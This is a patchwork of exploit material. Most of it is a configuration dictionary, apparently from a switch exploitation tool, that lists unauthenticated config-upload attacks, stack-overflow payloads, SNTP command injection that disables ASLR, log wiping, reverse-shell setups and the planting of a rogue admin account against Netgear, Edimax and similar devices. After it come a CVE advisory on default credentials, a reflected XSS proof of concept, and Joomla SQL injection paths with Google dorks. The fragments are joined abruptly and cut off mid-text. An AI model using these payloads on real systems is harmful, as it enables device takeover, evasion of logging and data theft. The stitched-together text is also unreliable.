'description':'Disable and clean logs',
'authenticated': True,
'json':False,
'disable_uri':'/cgi-bin/dispatcher.cgi',
'disable_query':'LOGGING_SERVICE=0&cmd=4353',
'status':'/cgi-bin/dispatcher.cgi?cmd=4352',
'clean_logfile_uri':'/cgi-bin/dispatcher.cgi',
'clean_logfile_query':'cmd_4364=Clear+file+messages',
'clean_logmem_uri':'/cgi-bin/dispatcher.cgi',
'clean_logmem_query':'cmd_4364=Clear+buffered+messages',
'vulnerable': True,
'safe': True
        },
        # Verify lacking authentication
'verify': {
'httpuploadbakcfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload "backup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpuploadbakcfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!', # one 0x20 in beginning
'vulnerable': True,
'safe': True
            },
'httpuploadruncfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpuploadruncfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!', # one 0x20 in beginning
'vulnerable': True,
'safe': True
            },
'httprestorecfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httprestorecfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!', # one 0x20 in beginning
'vulnerable': True,
'safe': True
            },
'httpupload.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload.cgi',
'check_uri':'',
'content':'dummy',
'content_check':'Image Signature Error',
'vulnerable': True,
'safe': True
            },
'dispatcher.cgi': { # 'username' also suffer from stack overflow
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'response':'502',
'Content-Type':False,
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username=admin&password='+ self.random_string(184) + '&login=1',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
'httpuploadfirmware.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpuploadfirmware.cgi',
'check_uri':'',
'content':'dummy',
'content_check':'Image Signature Error',
'vulnerable': True,
'safe': True
            },
'httpupload_runstart_cfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload_runstart_cfg.cgi',
'check_uri':'/tmp/startup-config',
'content':'/tmp/startup-config',
'content_check':'/tmp/startup-config',
'vulnerable': True,
'safe': True
            },
'version_upgrade.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (Frontend to "httpuploadfirmware.cgi")',
'uri':'/cgi-bin/version_upgrade.cgi',
'check_uri':'',
'content':'Firm Upgrade',
'content_check':'Firm Upgrade',
'vulnerable': True,
'safe': True
            },
'factory_reset.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Reset device to factory default (PoC: Too dangerous to verify)',
'uri':'/cgi-bin/factory_reset.cgi',
'check_uri':'',
'content':'Too dangerous to verify',
'content_check':'dummy',
'vulnerable': True,
'safe': False
            },
'sysinfo_config.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':False,
'description':'System basic information configuration (Frontend to "change_mac_addr_set.cgi")',
'uri':'/cgi-bin/sysinfo_config.cgi',
'check_uri':'',
'content':'dummy',
'content_check':'"/cgi-bin/change_mac_addr_set',
'vulnerable': True,
'safe': True
            },
'change_mac_addr_set.cgi': {
'description':'Stack overflow in "switch_type/sys_hardver" (PoC: crash CGI)',
'response':'502',
'Content-Type':False,
'authenticated': False,
'uri':'/cgi-bin/change_mac_addr_set.cgi',
'content':'switch_type='+ self.random_string(116) +'&sys_hardver=31337&sys_macaddr=DE:AD:BE:EF:13:37&sys_serialnumber=DE:AD:BE:EF:13:37&password=tgnetadmin',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },

        },
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
'vulnerable': True,
'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
          },
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'json':False,
'authenticated': False,
'encryption':'clear',
'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------',
'add_uri':'/cgi-bin/httpuploadruncfg.cgi',
'del_query':'', 
'del_uri':'/cgi-bin/dispatcher.cgi?cmd=524&usrName=USERNAME',
'vulnerable': True,
'safe': True
          }, 
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':False,
'authenticated': True,
'enable_uri':'/cgi-bin/dispatcher.cgi',
'enable_query':'sntp_enable=1&cmd=548',
'status_uri':'cmd=547',
'inject_uri':'/cgi-bin/dispatcher.cgi',

'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550',
'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550',

'delete_uri':'/cgi-bin/dispatcher.cgi',
'delete_query':'sntp_Server=+&sntp_Port=123&cmd=550',
'disable_uri':'/cgi-bin/dispatcher.cgi',
'disable_query':'sntp_enable=0&cmd=548',
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
          },

          #
          # The stack overflow in 'username' and 'password' at same request are multipurpose.
          #

          #
          # The trick to jump and execute:
          # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
          # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
          # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
          # 4. We will also feed required function parameters, by adding them to '_CMD_'
          #
'stack_cgi_diag': {
'vulnerable': False,
          },
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1',

'log_settings_set_cmd':'&LOGGING_SERVICE=0',      # Disable Logging CMD
'log_settings_set_SIGSEGV':True,            # Disable Logging SIGSEGV ?

'log_ramClear_cmd':'',                  # Clean RAM log CMD
'log_ramClear_SIGSEGV':False,              # Clean RAM log SIGSEGV ?

'log_fileClear_cmd':'',                  # Clean FILE log CMD
'log_fileClear_SIGSEGV':False,              # Clean FILE log SIGSEGV ?

'workaround':False,  # My LAB workaround
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
          },
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1',
'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123',
'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123',
'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=123',
'sys_timeSettings_set_cmd_enable':'&sntp_enable=1',
'sys_timeSettings_set_cmd_disable':'&sntp_enable=0',
'sys_timeSettings_set_SIGSEGV': False,    # SIGSEGV ?
'workaround':True,  # My LAB workaround
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
          }, 

          #
          # After disabled ASLR, we can proceed to put NOP sled and shellcode on stack.
          # Then we will start walk down from top of stack to hit the NOP sled to execute shellcode
          #
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&login=1',
'workaround':False,  # My LAB workaround
            #'stack':False, # False = use Heap, and there are no ASLR
'stack':True, # False = use Heap, and there are no ASLR
'vulnerable': True,
'safe': True
          },

        },
      },

'Netgear': { 
'vendor': 'NETGEAR Inc.',
'modulus_uri':'/cgi/get.cgi?cmd=home_login',
'info_leak':True,
'info_leak_JSON':True,
'info_leak_uri':'/cgi/get.cgi?cmd=home_login',
'xsid':False,
'xsid_uri':'/cgi/get.cgi?cmd=home_main',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'rsa',
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=home_loginStatus',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'vulnerable': False,
'safe': True
        },
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':True,
'disable_uri':'/cgi/set.cgi?cmd=log_settings',
'disable_query':'{"_ds=1&ram_sev_0=on&ram_sev_1=on&ram_sev_2=on&ram_sev_3=on&ram_sev_4=on&ram_sev_5=on&ram_sev_6=on&_de=1":{}}',
'status':'/cgi/get.cgi?cmd=log_settings',
'clean_logfile_uri':'/cgi/set.cgi?cmd=log_fileClear',
'clean_logfile_query':'{"":{}}',
'clean_logmem_uri':'/cgi/set.cgi?cmd=log_ramClear',
'clean_logmem_query':'{"":{}}',
'vulnerable': False,
'safe': True
        },
        # Verify lacking authentication
'verify': { 
'set.cgi': { # 'username' also suffer from stack overflow
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
        },
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
'vulnerable': True,
'safe': True # Boa/Hydra restart/watchdog, False = no restart, True = restart
          },
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'authenticated': False,
'json':True,
'encryption':'md5',
'content':'Content-Type\n\nconfig-file-header\nusername "USERNAME" secret encrypted PASSWORD\n\n------',
'add_uri':'/cgi/httpuploadruncfg.cgi',
'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}',
'del_uri':'/cgi/set.cgi?cmd=aaa_userDel',
'vulnerable': False,
'safe': True
          }, 
'sntp': {
            #
            # Most probably it is vulnerable
            #
'description':'SNTP command injection (PoC: disable ASLR)',
'json':True,
'authenticated': True,
'enable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
'enable_query':'{"_ds=1&sntpStatus=1&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings',
'inject_uri':'/cgi/set.cgi?cmd=sys_timeSntp',
'inject_query':'{"_ds=1&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123&_de=1":{}}',
'check_query':'{"_ds=1&srvDef=byIp&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123&_de=1":{}}',
'delete_uri':'/cgi/set.cgi?cmd=sys_timeSntpDel',
'delete_query':'{"":{}}',
'disable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
'disable_query':'{"_ds=1&sntpStatus=0&_de=1":{}}',
'verify_uri':'/tmp/check',
'vulnerable': False,
'safe': True
          },
          #
          # The stack overflow in 'username' and 'password' at same request are multipurpose.
          #

          #
          # The trick to jump and execute:
          # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
          # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
          # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
          # 4. We will also feed required function parameters, by adding them to '_CMD_'
          #
'stack_cgi_diag': {  # Not vulnerable 
'vulnerable': False,
          },
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',

'log_settings_set_cmd':'',          # Disable Logging CMD
'log_settings_set_SIGSEGV':True,      # Disable Logging SIGSEGV ?

'log_ramClear_cmd':'',            # Clean RAM CMD
'log_ramClear_SIGSEGV':True,        # Clean RAM SIGSEGV ?

'log_fileClear_cmd':'',            # Clean FILE log CMD
'log_fileClear_SIGSEGV':True,        # Clean FILE log SIGSEGV ?
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_settings_set()
'log_settings_set':0x00,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_ramClear_set()
'log_ramClear':0x00,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_fileClear_set()
'log_fileClear':0x00,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)

'workaround':False,  # My LAB workaround
'verify_uri':'',
'vulnerable': False,
'safe': True
          },
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'sys_timeSntp_set_cmd':'&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123',
'sys_timeSntp_set_check':'&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123',

'sys_timeSntpDel_set_cmd':'&sntpServer=+&cursntpPort=139',        # CMD

'sys_timeSettings_set_cmd_enable':'&sntpStatus=1',  # Enable CMD
'sys_timeSettings_set_cmd_disable':'&sntpStatus=0',  # Disable CMD
'sys_timeSettings_set_SIGSEGV': True,    # SIGSEGV ?
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntp_set()
'sys_timeSntp_set':0x00,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject RCE)
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntpDel_set()
'sys_timeSntpDel_set':0x00,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSettings_set()
'sys_timeSettings_set':0x00,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)

'workaround':False,  # My LAB workaround
'verify_uri':'/tmp/check',
'vulnerable': False,
'safe': True
          }, 
          #
          # After disabled ASLR, we can proceed to put NOP sled and shellcode on stack.
          # Then we will start walk down from top of stack to hit the NOP sled to execute shellcode
          #
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}',
'stack':True, # False = use Heap, and there are no ASLR

'cgi':'set.cgi',        # /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set()
'START':0x00,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP':0x00,        # end: You may want to play with this if you dont get it working
'usr_nop': 64,          # NOP sled (shellcode will be tailed)
'pwd_nop': 77,          # filler/garbage (not used for something constructive)
'align': 3,            # Align opcodes in memory
'stack':True,          # NOP and shellcode lays on: True = stack, False = Heap

'workaround':False,  # My LAB workaround
'vulnerable': False,
'safe': True
          },

        },
      },

'Edimax': { 
'vendor': 'EDIMAX Technology Co., Ltd.',
'modulus_uri':'/cgi/get.cgi?cmd=home_login',
'info_leak':False,
'info_leak_JSON':True,
'info_leak_uri':'/cgi/get.cgi?cmd=home_login',
'xsid':False,
'xsid_uri':'/cgi/get.cgi?cmd=home_main',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'rsa',
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=home_loginStatus',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'vulnerable': True,
'safe': True
        },
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':True,
'disable_uri':'/cgi/set.cgi?cmd=log_global',
'disable_query':'{"_ds=1&empty=1&_de=1":{}}',
'status':'/cgi/get.cgi?cmd=log_global',
'clean_logfile_uri':'/cgi/set.cgi?cmd=log_clear',
'clean_logfile_query':'{"_ds=1&target=1&_de=1":{}}',
'clean_logmem_uri':'/cgi/set.cgi?cmd=log_clear',
'clean_logmem_query':'{"_ds=1&target=0&_de=1":{}}',
'vulnerable': True,
'safe': True
        },
        # Verify lacking authentication
'verify': { 
'httpuploadruncfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httpuploadruncfg.cgi',
'check_uri':'/tmp/http_saverun_cfg',
'content':'/var/config/running-config',
'content_check':'/var/config/running-config',
'vulnerable': True,
'safe': True
            },
'httprestorecfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httprestorecfg.cgi',
'check_uri':'/tmp/startup-config',
'content':'/mnt/startup-config',
'content_check':'/mnt/startup-config',
'vulnerable': True,
'safe': True
            },
'httpupload.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload.cgi',
'check_uri':'/tmp/http_uploadfail',
'content':'Copy: Illegal software format', # Not the real content, its the result of invalid firmware (workaround)
'content_check':'Copy: Illegal software format',
'vulnerable': True,
'safe': True
            },
'login.cgi': {
'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)',
'authenticated': False,
'response':'file',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'check_uri':'/tmp/VUL.TXT', # We cannot control the content...
'content':'{"_ds=1&username='+ self.random_string(40) +'&password='+ '/' * 23 +'/tmp/VUL.TXT&_de=1":{}}',
'content_check':'1',
'vulnerable': True,
'safe': True
            },
'set.cgi': { # 'username' also suffer from stack overflow
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
        },
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
'vulnerable': True,
'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
          },
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'authenticated': False,
'json':True,
'encryption':'clear',
'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------',
            #'encryption':'nopassword',
            #'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" nopassword\n\n------', # Yep, working too
'add_uri':'/cgi/httpuploadruncfg.cgi',
'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}',
'del_uri':'/cgi/set.cgi?cmd=sys_acctDel',
'vulnerable': True,
'safe': True
          }, 
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':True,
'authenticated': True,
'enable_uri':'/cgi/set.cgi?cmd=sys_time',
'enable_query':'{"_ds=1&sntp=1&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=sys_time',
'inject_uri':'/cgi/set.cgi?cmd=sys_time',
'inject_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&_de=1":{}}',
'check_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&_de=1":{}}',
'delete_uri':'/cgi/set.cgi?cmd=sys_time',
'delete_query':'{"_ds=1&sntp=1&timezone=0&srvDef=ipv4&srvHost=+&port=139&dlsType=0&_de=1":{}}',
'disable_uri':'/cgi/set.cgi?cmd=sys_time',
'disable_query':'{"_ds=1&sntp=0&_de=1":{}}',

[Author:] Tim Tepatti
[Website:] tepatti.com

[Title:] Hard-coded credentials on ProGrade/Lierda Grill Temperature
Monitor [CVE-2019-15304]

[Product:] Grill Temperature Monitor
[Manufacturer:] ProGrade / Lierda
[Affected Version(s):] V1.00_50006
[Tested Version(s):] V1.00_50006
[Vulnerability Type:] Use of hard-coded credentials (CWE ID 798)
[CVE Reference:] CVE-2019-15304


[TL;DR:]

ProGrade/Lierda Grill Temperature Monitor V1.00_50006 has a default
password of admin for the admin account, which allows an attacker to
cause a Denial of Service or Information Disclosure via the
undocumented access-point configuration page located on the device.

[Long Info:]

ProGrade/Lierda Grill Temperature Monitor V1.00_50006 has a default
password of admin for the admin account, which allows an attacker to
cause a Denial of Service or Information Disclosure via the
undocumented access-point configuration page located on the device.

The access point configuration page is never made known to the end
user - the user is never supposed to access it or change any of the
options, and as such, the end user has no idea that an attacker could
access this page. This is different than a normal access point or
internet router where the administration page is required for setup
and configuration, and the end user is made aware of the risk of
default credentials. This makes the vulnerability more severe because
the attack vector is something which the end user wasn't aware even
operated on their device.

Additionally, there were two vendors provided because Lierda is a
wholesaler who actually created the device, and ProGrade simply
re-branded the device for the American market. This way, both
customers will be aware of the security vulnerabilities in the
product.

[Technical Info:]

[Default Web Server IP:] 11.11.11.254
[Default Web Server Port:] 80

[Reference(s):] http://progradegrill.com/wifi-grilling-thermometer/

# Exploit Title: UserPro <= 4.9.32 Reflected XSS
# Google Dork: intitle:"Index of" intitle:"UserPro" -uploads
# Date: 25 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681
# Version: <= 4.9.32
# Tested on: Ubuntu 18.04.1
# CVE: CVE-2019-14470

The WordPress plug-in 'UserPro' uses a Instagram library (Instagram PHP API V2 by cosenary) that
is vulnerable for Reflected Cross-Site Scripting (XSS).

There is more vulnerable code in 'UserPro' core, might release that later.

As of today (25 August 2019) this issue is unfixed.

Vulnerable code: (success.php on line 36)

    if (isset($_GET['error'])) {
        echo 'An error occurred: ' . $_GET['error_description'];
    }

> https://github.com/cosenary/Instagram-PHP-API/blob/master/example/success.php#L36

Proof-of-Concept:

    https://domain.tld/wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?error=&error_description=<PAYLOAD>

###################################################################

# Exploit Title : Joomla 1.5.26 Com_AlphaContent Components 3.x SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 24/08/2019
# Vendor Homepage : bestofjoomla.com - joomla.org - pensieroliquido.com
# Software Information Link : joomla.info.tr/alphacontent-400-joomla-15-native
bestofjoomla.com/component/option,com_bestofresources/task,detail/Itemid,54/id,754/
# Joomla Affected Version : Joomla 1.5.18 to 1.5.26 - 1.x
# Software Affected Version : Com_AlphaContent 3.x - 3.00 - 4.x  - 4.0.0
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of 
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

###################################################################

# Impact :
***********
Joomla 1.5.26 Com_AlphaContent Components 3.x is prone to an SQL-injection vulnerability 
because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. 
Exploiting this issue could allow an attacker to compromise the application, access or 
modify data, or exploit latent vulnerabilities in the underlying database. 
A remote attacker can send a specially crafted request to the vulnerable application and 
execute arbitrary SQL commands in application`s database. Further exploitation of this 
vulnerability may result in unauthorized data manipulation. 
An attacker can exploit this issue using a browser or with any SQL Injector Tool.

###################################################################

# Admin Panel Login Path :
*************************
/administrator

# SQL Injection Exploit :
**********************
/index.php?option=com_alphacontent&section=[ID-NUMBER]&Itemid=[ID-NUMBER]&lang=it&limitstart=[SQL Injection]

/index.php?option=com_alphacontent&section=weblinks&Itemid=[ID-NUMBER]&lang=de&limitstart=[SQL Injection]

/index.php?option=com_alphacontent&section=[ID-NUMBER]&Itemid=[ID-NUMBER]&lang=es&limitstart=[SQL Injection]

index.php?option=com_alphacontent&section=[ID-NUMBER]&cat=[ID-NUMBER]&task=view&id=[SQL Injection]

###################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

###################################################################

###################################################################

# Exploit Title : Joomla 1.5.26 Com_FireBoard Components 1.1.3 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 24/08/2019
# Vendor Homepage : fireboard.bestofjoomla.com
# Software Information Link : infosolutionsgoa.com/cms/fireboard-forum-joomla.html
# Software Download Link : artio.net/downloads/joomla/joomsef/joomsef-2-x-extensions-free
# Software Affected Version : Com_FireBoard 1.1.3
# Joomla Affected Version : Joomla 1.5.0 - 1.5.1 - 1.5.8 - 1.5.18 - 1.5.26
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of 
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

###################################################################

# Impact :
***********
Joomla 1.5.26 Com_FireBoard Components 1.1.3 is prone to an SQL-injection vulnerability 
because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. 
Exploiting this issue could allow an attacker to compromise the application, access or 
modify data, or exploit latent vulnerabilities in the underlying database. 
A remote attacker can send a specially crafted request to the vulnerable application and 
execute arbitrary SQL commands in application`s database. Further exploitation of this 
vulnerability may result in unauthorized data manipulation. 
An attacker can exploit this issue using a browser or with any SQL Injector Tool.

###################################################################

# SQL Injection Exploit :
**********************
/index.php?option=com_fireboard&Itemid=[ID-NUMBER]&id=[ID-NUMBER]&catid=[SQL Injection]&func=fb_pdf

/index.php?option=com_fireboard&Itemid=[ID-NUMBER]&func=view&id=[ID-NUMBER]&catid=[SQL Injection]&fontstyle=f-larger&lang=ru

/index.php?option=com_fireboard&func=userlist&orderby=username&direction=ASC<=zh&lang=zh&limitstart=[ID-NUMBER]&Itemid=[SQL Injection]

/index.php?option=com_fireboard&Itemid=[ID-NUMBER]&func=showcat&id=[ID-NUMBER]&view=threadedview&catid=[SQL Injection]

###################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

###################################################################

###################################################################

# Exploit Title : Joomla 1.5.26 Com_OrgChart Components 1.0.0 XSS SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 24/08/2019
# Vendor Homepage : ibrini.com - cmspal.it - altropiano.com - 
# Software Download Link : extensions.joomla.org/extension/org-chart-iib/
# Software Information Link : ibrini.com/en/boutique/information/2
# Software Affected Version : Com_OrgChart - 1.0.0 - 1.x
# Joomla Affected Version : 1.x to 1.5.26
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : intext:Realizzato con CMS-PAL 1.0 - Altropiano.com inurl:/index.php?option=com_orgchart
intext:Realizzato con CMS-PAL 1.0 - Altropiano.com site:it
inurl:/index.php?option=com_orgchart site:it
# Vulnerability Type : CWE-89 [ Improper Neutralization of 
Special Elements used in an SQL Command ('SQL Injection') ]
CWE-79 [ Improper Neutralization of Input During 
Web Page Generation ('Cross-site Scripting') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

###################################################################

# Description About Software :
*****************************
Org Chart Tool is organizational chart with many options to display 
hierarchical charts, organizational structures and sets of nested elements.

###################################################################

# Impact :
***********
Joomla 1.5.26 Com_OrgChart Components 1.0.0 is prone to an SQL-injection vulnerability 
because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. 
Exploiting this issue could allow an attacker to compromise the application, access or 
modify data, or exploit latent vulnerabilities in the underlying database. 
A remote attacker can send a specially crafted request to the vulnerable application and 
execute arbitrary SQL commands in application`s database. Further exploitation of this 
vulnerability may result in unauthorized data manipulation. 
An attacker can exploit this issue using a browser or with any SQL Injector Tool.

Reflected XSS (or Non-Persistent) :
***************************************
The server reads data directly from the HTTP request and reflects it back in the HTTP response. 
Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content 
